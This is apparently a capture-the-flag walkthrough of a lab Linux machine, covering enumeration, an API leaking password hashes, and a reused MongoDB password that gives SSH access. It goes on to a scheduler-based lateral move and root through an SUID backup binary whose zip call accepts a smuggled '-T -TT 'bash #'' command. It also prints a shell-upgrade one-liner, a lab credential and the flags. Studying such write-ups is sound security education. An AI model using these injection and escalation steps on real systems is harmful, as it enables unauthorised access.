Nmap Results
# Nmap 7.93 scan initiated Thu Apr 6 14:46:30 2023 as: nmap -Pn -p- --min-rate 10000 -A -oN scan.txt 10.10.10.58
Nmap scan report for 10.10.10.58
Host is up (0.013s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc5e34a625db43eceb40f4967b8ed1da (RSA)
| 256 6c8e5e5f4fd5417d1895d1dc2e3fe59c (ECDSA)
|_ 256 d878b85d85ffad7be6e2b5da1e526236 (ED25519)
3000/tcp open hadoop-tasktracker Apache Hadoop
|_http-title: MyPlace
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 11.59 ms 10.10.14.1
2 11.65 ms 10.10.10.58
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 6 14:47:11 2023 -- 1 IP address (1 host up) scanned in 41.73 seconds
Service Enumeration
TCP/3000
Initial Enumeration
Looking at the page source code, there are some interesting-looking scripts being loaded.
<script type="text/javascript" src="assets/js/app/app.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/home.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/login.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/admin.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/profile.js"></script>
And, they all appear to be readable. Let's see if they reveal any application logic.
These scripts do reveal some API endpoints, which is interesting.
Testing the API
I can make an unauthenticated HTTP GET
request to the /api/users
endpoint and it reveals some juicy details.
Cracking the Hashes
I paste the hashes into CrackStation and to my surprise, we have several matches — including the admin account!
Login as Admin
Let's download the backup and see what we can find inside.
Analyzing the Backup
Interesting Files
mark:5AYRft73VtFpc84k
could be possibly re-used as a system user.
Exploit
The developer of the MYPLACE application made a few mistakes while publishing this application:
- Allowed unauthenticated access to the
/api/users
endpoint and/or did not reduce the amount of information this API discloses to the user - Used an unfortunately weak password for the administrative user, the hash of which had been previously cracked and cached in a publicly available database
This allowed me to download a backup of the entire source code of the application, which included a password embedded in a MongoDB connection string. This password is reused as the user account, which facilitated SSH access.
Using unique passwords and protecting APIs will resolve these issues.
Fix History and Command Recall
After connecting via SSH, run /bin/bash
to enable history and command recall with the up arrow key.
Post-Exploit Enumeration
Operating Environment
OS & Kernel
NAME="Ubuntu"
VERSION="16.04.3 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.3 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
Current User
uid=1001(mark) gid=1001(mark) groups=1001(mark)
Sorry, user mark may not run sudo on node.
Users and Groups
Local Users
tom:x:1000:1000:tom,,,:/home/tom:/bin/bash
mark:x:1001:1001:Mark,,,:/home/mark:/bin/bash
Local Groups
adm:x:4:syslog,tom
cdrom:x:24:tom
sudo:x:27:tom
dip:x:30:tom
plugdev:x:46:tom
tom:x:1000:
lpadmin:x:115:tom
sambashare:x:116:tom
admin:x:1002:tom,root
mark:x:1001:
Network Configurations
Interfaces
ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:49:6b brd ff:ff:ff:ff:ff:ff
inet 10.10.10.58/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:feb9:496b/64 scope link
valid_lft forever preferred_lft forever
Open Ports
tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN
Processes and Services
Interesting Processes
tom 1237 0.0 6.3 1024684 48480 ? Ssl 19:46 0:02 /usr/bin/node /var/www/myplace/app.js
tom 1241 0.0 5.7 1008568 43952 ? Ssl 19:46 0:01 /usr/bin/node /var/scheduler/app.js
Interesting Services
mongodb.service loaded active running High-performance, schema-free document-oriented database
myplace.service loaded active running The most secure social network on the web
Interesting Files
/usr/local/bin/backup
I checked for any SUID files during enumeration and this file stood out to me as odd.
find / -type f -user root -perm /4000 -exec ls -l {} \; 2>/dev/null
-rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup
file /usr/local/bin/backup
/usr/local/bin/backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped
strings /usr/local/bin/backup
%s[+]%s %s
%s[+]%s Starting archiving %s
____________________________________________________
/ \
| _____________________________________________ |
| | | |
| | Secure Backup v1.0 | |
| |_____________________________________________| |
| |
\_____________________________________________________/
\_______________________________________/
_______________________________________________
_-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. --- `-_
_-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-_
_-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
_-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
_-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'
Could not open file
Validated access token
Ah-ah-ah! You didn't say the magic word!
Finished! Encoded backup is below:
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
/root
/etc
/tmp/.backup_%i
/usr/bin/zip -r -P magicword %s %s > /dev/null
/usr/bin/base64 -w0 %s
The target path doesn't exist
Privilege Escalation
Analyzing the SUID Binary
Decoding the Base64 Data
During my enumeration, I came across the file /usr/local/bin/backup
with the SUID bet set on it. So, I started analyzing the file in my SSH shell.
Looks like the base64-encoded binary data results in a ZIP archive. I try to unzip it, but get an exception.
Googling the message, need PK compat.
seems to suggest that 7zip
could be used to expand the archive. I'll copy the file to my Kali box for analysis.
I tried using unzip
on Kali on got the same exception. I'll try 7z
and see how I fair.
We know the password is magicword
because it's visible in the strings
output from my initial analysis.
More String Analysis
The other aspects of the strings
output are peculiar. We'll have to try running the application to get a sense of how it behaves with /root
and /etc
. The /tmp/.backup_%i
string makes me think we might get script execution with something like /tmp/.backup_script.sh
— which I think is the source of error, The target path doesn't exist
.
However, the user mark
won't be able to run the program. We need to be either root
or in the admin
group. And, looking at my enumeration of the groups, only tom
or root
are in that group.
Analyzing MongoDB
Looking at the processes I enumerated before, I see that the user account, tom
is running two node
processes. The scheduler
process is particularly interesting, cause when you look at the JavaScript file, you can see that we're going to get command execution.
This script is reading the scheduler
database, loading the tasks
collection, and running the cmd
property of each JSON document in the collection.
Let's see if we can connect to the scheduler
database as mark
.
There aren't any tasks in the collection, which makes sense, because the script deletes tasks after loading them. Let's try and achieve command execution.
_id
property is optional. A randomly generated ID will be added if not specified.If the command is executed, we should see the file /tmp/pwnz
with the word pwned
inside.
Lateral Pivot to Tom
Be sure to update your payload with the right IP and port. The scheduler script should run every 30 seconds, so be patient.
Stabilize Your Shell
python -c "import pty; pty.spawn('/bin/bash')"
export TERM=linux
From Tom to Root
Dynamic Binary Analysis
Coming back now to /usr/local/bin/backup
, I took another look at the strings
output.
It seems like the program takes three arguments: %s
%s
%s
.
Let's trace the program as it runs.
ltrace backup 1 2 3
If we run another trace on the program while passing in the keys, we can see the /tmp/.backup_i%
path filled out.
When looking at the strcmp
calls, we can see the program doing the following:
argv[0]
==-q
?argv[1]
in/etc/myplace/keys
? (valid key check)argv[1]
==""
? (throw wrong password error)argv[2]
==/
? (my guess is invalid path)
One pattern I started noticing when passing in paths, is that it consistently returned the base64 payload if I specified absolute paths of /root
or /etc
:
UEsDBBQACQAIACl+I0tEby654QEAAKYEAAAGABwAc2hhZG93VVQJAANuFqxZy08vZHV4CwABBAAAAAAEKgAAAHNefLjflWuO43Svm9dmmcDn+r2ddDppqmyxCKD8ZkONg3j/JOdnAf5Cg9eszp1qT3Pyu2+MFIiHjVng8DqOaZo7i3q5sAvHqS8ssMFgOrXglV9GVppJod+PQPTOtkQpM4Yfv99SrVZasgKujff0kYQVzP8RaWVtL+ZIAvVMzEeVFZ22z58Czj1p6bBOna0mxUoMFiiRVf6ybHGe3MOdNPsEw8SYk5A8kCo2uFw0oCOdbLVMy5WEBjVw1VuxXyYkN2qlNuKKOZwRlpzgjJXFsdkGlhNWUJKeYVksGsrvkugj4Dn15ShhoHz23qn25zd9GegJI0b7Aaouefxfz4h8zt/zfNkYM256wUFLVObXftMzRfcgh9Gi7sGIlnKhqO4vyyd2oDH89XQwqZvpdZkRt7/ZjfZjzRUW/D6/1lw6Zoj+QYq8Rn6M7uj3hzeF0YpaJ1xnpbkupjvNdqaixduBzcQOKTldjV1wPVpJwqOc63FIZPchfdA5nsgFOQGT7W3rE6dGdzeGu+HUwY+3MZFxjEyRdeIjr25v1U+cqFQ3GKfThlcHmUC6h5WAmjii3DGhGVwtnQPde7AIEAYI83sv0VsGsECrZZNTR6phtt5EREoiTzT0FFwQi69Epccs1uZW51lQSwcIRG8uueEBAACmBAAAUEsBAh4DFAAJAAgAKX4jS0RvLrnhAQAApgQAAAYAGAAAAAAAAQAAAKCBAAAAAHNoYWRvd1VUBQADbhasWXV4CwABBAAAAAAEKgAAAFBLBQYAAAAAAQABAEwAAAAxAgAAAAA=
This is the payload that I first analyzed when running the strings
command. And then, I realized that the troll ASCII art was hard-coded into the program. So, as far as I've tested, absolute paths in these directories will throw the troll:
/root/*
/etc/*
/
Abusing the Program Dependencies
One thing that stuck out at me is the program runs zip
directly on the user-passed string without any sanitization or validation.
I should be able to pass a string into the application and it will be appended to the zip
command:
# This...
/usr/bin/zip -r -P magicword %s %s > /dev/null
# Becomes this...
/usr/bin/zip -r -P magicword <my-string-here> %s > /dev/null
Let's give it a shot with something like the example give in GTFOBins.
This causes the program to run:
/usr/bin/zip -r -P magicword /home/tom/user.txt -T -TT 'bash #' %s
Looking at man zip
:
-T
--test
Test the integrity of the new zip file. If the check fails, the old zip file is unchanged and (with
the -m option) no input files are removed.
-TT cmd
--unzip-command cmd
Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used. On Unix, to
use a copy of unzip in the current directory instead of the standard system unzip, could use:
zip archive file1 file2 -T -TT "./unzip -tqq"
In cmd, {} is replaced by the name of the temporary archive, otherwise the name of the archive is
appended to the end of the command. The return code is checked for success (0 on Unix)
The only problem with this shell is that I don't have any output. But, I can confirm I have a shell by creating a file:
Flags
User
742bde39bcc048ee7ed6a33c3c3ddada
Root
001bab67a97c684b53d72085c3ca9dff